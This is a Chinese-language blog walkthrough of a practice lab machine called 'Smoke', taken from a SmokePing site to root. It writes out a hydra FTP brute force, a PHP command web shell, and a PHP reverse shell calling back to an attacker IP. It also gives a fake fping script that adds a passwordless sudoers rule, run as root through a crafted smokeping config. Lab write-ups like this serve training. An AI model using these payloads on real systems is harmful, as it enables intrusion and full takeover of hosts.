1130 字
3 分钟
群友的靶机-Smoke

信息收集#

image-20260415160535411

服务:

  • 80:http
  • 22:ssh
  • 21:ftp

普通用户 过程(web+信息收集+ftp+文件上传)#

在浏览器打开发现跳转到网站 修改host打开网站

image-20260415160805544

smoke ping的网站

版本:SmokePing-2.9.0

在网上看了看可能存在CGI,但测了一会发现打不通

尝试扫描目录 发现扫不出来 因为这个网站我打开就很慢

因为它是一个跳转到这个域名上的 那我们可以猜测 他还存在其他的域名 然后就信息再次收集一下

ffuf -u http://192.168.56.103/ -H "Host: FUZZ.smoke.dsz" -w /usr/share/dirb/wordlists/common.txt | grep 200

image-20260415161005733

果然有一个ftp

ftp.smoke.dsz/

一个文件上传的网页

那应该就是上传php文件执行了 先不着急 先找找上传目录在哪 猜uploads或upload 不行就穿个文件找一下

发现就在ftp.smoke.dsz/uploads

image-20260415161759467

也能看到我传了好多文件 结果都是gif的后缀 通过域名名字 我们猜想一下 我们是不是可以用ftp去把php文件上传到这个目录下 并且我们发现了 passwd

image-20260415161917980

很好这里有一个ftpuser和tkbic的用户

我们先对ftpuser跑一下 看一下能不能撞出来

hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt -f -I ftp://192.168.56.103

image-20260415162645652

ftpuser/kelvin

我们连接ftp

image-20260415163301378

这个user.txt get不下来 那我们进入uploads传上个密码试一下

本地echo ’<?php system($_GET[“cmd”]); ?>’ > shell.php

然后再uploads下 put shell.php

image-20260415163443402

然后访问http://ftp.smoke.dsz/uploads/shell.php?cmd=id

image-20260415163605580

读取文件

image-20260415163649534

先去查看一下suid、capabilities、cron

curl -sG --data-urlencode 'cmd=find / -perm -4000 -type f 2>/dev/null' "http://ftp.smoke.dsz/uploads/shell.php"

curl -sG --data-urlencode 'cmd=getcap -r / 2>/dev/null' "http://ftp.smoke.dsz/uploads/shell.php"

curl -sG --data-urlencode 'cmd=cat /etc/crontab 2>/dev/null; ls -la /etc/cron* 2>/dev/null' "http://ftp.smoke.dsz/uploads/shell.php

image-20260415203738575

suid上有点信息 嗯。。。先用ftpuser看一下有什么其他利用点吧

先到ftpuser用户

curl -sG --data-urlencode 'cmd=printf "kelvin\n" | su ftpuser -c "id; whoami" 2>&1' "http://ftp.smoke.dsz/uploads/shell.php"

image-20260415203934301

我们先看一下sudo

image-20260415204034604

关键信息

User ftpuser may run the following commands on Smoke: (tkbic) /usr/bin/cpulimit (ALL) NOPASSWD: ALL

说明 ftpuser 可以通过 sudo 以 tkbic用户身份运行 /usr/bin/cpulimit

搜了一下这个cpulimit是一个限制Linux进程CPU使用率的工具 、

我们看一下这个工具的用法

curl -sG --data-urlencode 'cmd=/usr/bin/cpulimit --help 2>&1 | sed -n "1,120p"' "http://ftp.smoke.dsz/uploads/shell.php"

image-20260415204303363

COMMAND [ARGS] run this command and limit it (implies -z)

这个可以直接执行命令 那我们可以通过这个去横向到tkbic

啧 到这里感觉curl有点麻烦所以干脆直接在uploads上上传一个反弹shell

<?php
$sock = fsockopen("192.168.56.102", 4444);
if (!$sock) die("connect failed\n");
$proc = proc_open("/bin/sh -i", [
0 => $sock,
1 => $sock,
2 => $sock,
], $pipes);
if (is_resource($proc)) proc_close($proc);
fclose($sock);
?>

上传到uploads 然后kali监听4444端口 等待连接

image-20260415205558040

然后到ftpuser

然后回到当初 我们用cpulimit去执行命令 横向到tkbic

image-20260415211449419

然后我们看一下这个用户的sudo

image-20260415211515370

这里就是我们的提取点

tkbic 可以无密码以任意用户身份运行 /usr/sbin/smokeping 和 /usr/bin/pkill smokeping

我们就让root去执行这个 我们进行提权

我们看一下 /usr/sbin/smokeping

image-20260415212649149

我们发现这个只是一个启动器 真正的在/usr/share/smokeping/下面 加载了一个Smokeping模块

然后我们去路径下看一下这个文件

image-20260415212830493

因为是perl我们看pm后缀

我们看一下这个文件加载 probe 模块的入口代码直接grep 因为这个文件太大了 看不过来

grep -n 'load_probe\|load_probes\|require Smokeping::probes' /usr/share/smokeping/Smokeping.pm

image-20260415213436715

这组结果的意义:

  • 主程序会调用 load_probes $cfg
  • load_probes 会把 probe 一个个交给 load_probe
  • load_probe 会按 $modname 动态加载 probe 模块

require Smokeping::probes::<模块名>

所以你从这里确认到的是:

Smokeping.pm 会根据配置里当前使用的 probe 名字,动态加载对应模块

然后我们看一下probe是什么 这个去看config

image-20260415220103133

确定调用的事FPing

我们看一下FPing

image-20260415220403823

然后我们跟进这个模块 /usr/share/smokeping/Smokeping/probes/FPing.pm

grep -n ‘sub binary|my @cmd|open3’ /usr/share/smokeping/Smokeping/probes/FPing.pm

image-20260415220537549

这三个关键词的意思是

1. sub binary
说明这个 probe 有一个叫 binary 的程序路径配置项
2. my @cmd = (...)
说明程序会把 binary 放进待执行命令
3. open3(..., @cmd)
说明这个命令会被真正执行

然后看一下这段代码

sed -n ‘100,155p’ /usr/share/smokeping/Smokeping/probes/FPing.pm

# derived class (ie. RemoteFPing) can override this
sub binary {
my $self = shift;
return $self->{properties}{binary};
}
# derived class (ie. FPing6) can override this
sub testhost {
return "localhost";
}
sub ping ($){
my $self = shift;
# do NOT call superclass ... the ping method MUST be overridden
# increment the internal 'rounds' counter
$self->increment_rounds_count;
my %upd;
my $inh = gensym;
my $outh = gensym;
my $errh = gensym;
# pinging nothing is pointless
return unless @{$self->addresses};
my @params = () ;
push @params, "-$self->{properties}{protocol}" if $self->{properties}{protocol} and $self->{enable}{proto};
push @params, "-b$self->{properties}{packetsize}" if $self->{properties}{packetsize};
push @params, "-t" . int(1000 * $self->{properties}{timeout}) if $self->{properties}{timeout};
push @params, "-i" . int(1000 * $self->{properties}{mininterval});
push @params, "-p" . int(1000 * $self->{properties}{hostinterval}) if $self->{properties}{hostinterval};
push @params, "--iface=$self->{properties}{interface}" if $self->{properties}{interface};
if ($self->rounds_count == 1 and $self->{properties}{sourceaddress} and not $self->{enable}{S}){
$self->do_log("WARNING: your fping binary doesn't support source address setting (-S), I will ignore any sourceaddress configurations - see http://bugs.debian.org/198486.");
}
push @params, "-S$self->{properties}{sourceaddress}" if $self->{properties}{sourceaddress} and $self->{enable}{S};
if ($self->rounds_count == 1 and $self->{properties}{tos} and not $self->{enable}{O}){
$self->do_log("WARNING: your fping binary doesn't support type of service setting (-O), I will ignore any tos configurations.");
}
push @params, "-O$self->{properties}{tos}" if $self->{properties}{tos} and $self->{enable}{O};
my $pings = $self->pings;
if (($self->{properties}{blazemode} || '') eq 'true'){
$pings++;
}
my @cmd = (
$self->binary,
'-C', $pings, '-q','-B1','-r1',
@params,
@{$self->addresses});
$self->do_debug("Executing @cmd");
my $pid = open3($inh,$outh,$errh, @cmd);
$self->{rtts}={};
my $fh = ( $self->{properties}{usestdout} || '') eq 'true' ? $outh : $errh;
while (<$fh>){

大体意思是

FPing 模块会从配置里读取 binary 然后把 binary 作为实际执行命令的第一项 最后用 open3 把命令真正执行起来

利用点:

控制 binary = 控制 root 权限 smokeping 最终执行的程序

然后我们写一个fake fping

我们去一个可写目录 也就是uploads

这边shell有点问题 我在本地写了后put到uploads了

#!/bin/sh
/usr/bin/id > /tmp/fping-root.id 2>&1
/bin/echo 'ftpuser ALL=(ALL) NOPASSWD: ALL' > /etc/sudoers.d/zz_ftpuser
/bin/chmod 440 /etc/sudoers.d/zz_ftpuser
echo "localhost : 0.01"
exit 0

这几行的意思是

  • id > /tmp/fping-root.id 用来确认脚本是不是 root 执行的
  • echo ‘ftpuser ALL=(ALL) NOPASSWD: ALL’ > /etc/sudoers.d/zz_ftpuser 给 ftpuser 落一条免密 sudo 规则
  • chmod 440 让 sudoers 文件权限正确,否则 sudo 可能不加载
  • echo “localhost : 0.01” 模拟正常 fping 输出,避免 smokeping 因输出异常太早失败
  • exit 0 返回成功

然后因为源配置文件没有变 我们在这里写一个新的配置文件

smokeping-root.conf

*** General ***
owner = root
contact = root@localhost
mailhost = localhost
imgcache = /tmp/smoke-img
imgurl = /smoke-img
datadir = /tmp/smoke-data
piddir = /tmp
cgiurl = http://localhost/cgi-bin/smokeping.cgi
smokemail = /etc/smokeping/smokemail
tmail = /etc/smokeping/tmail
*** Alerts ***
to = root@localhost
from = root@localhost
+test
type = loss
pattern = >0%,*1*
comment = test
*** Database ***
step = 300
pings = 3
AVERAGE 0.5 1 10
*** Presentation ***
template = /etc/smokeping/basepage.html
+ overview
width = 600
height = 50
range = 10h
+ detail
width = 600
height = 200
unison_tolerance = 2
"Last 3 Hours" 3h
*** Probes ***
+FPing
binary = /var/www/vhosts/ftp.smoke.dsz/uploads/fping-root.sh
*** Targets ***
probe = FPing
menu = Top
title = root
remark = root
+ Local
menu = Local
title = Local
host = 127.0.0.1

我们先创建目录 因为配置中

imgcache = /tmp/smoke-img datadir = /tmp/smoke-data

image-20260415222002374

准备工作完事 开始提权

sudo -u tkbic /usr/bin/cpulimit -l 100 /bin/sh -c 'unset SERVER_SOFTWARE; sudo /usr/sbin/smokeping --debug --nodaemon --nosleep --config=/var/www/vhosts/ftp.smoke.dsz/uploads/smokeping-root.conf'

image-20260415222201759

image-20260415222253809

然后就去拿root shell

拿到flag

image-20260415222347932

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

群友的靶机-Smoke
https://blog.hollowqing.cn/posts/pentest/smoke/
作者
Hollow
发布于
2026-04-15
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录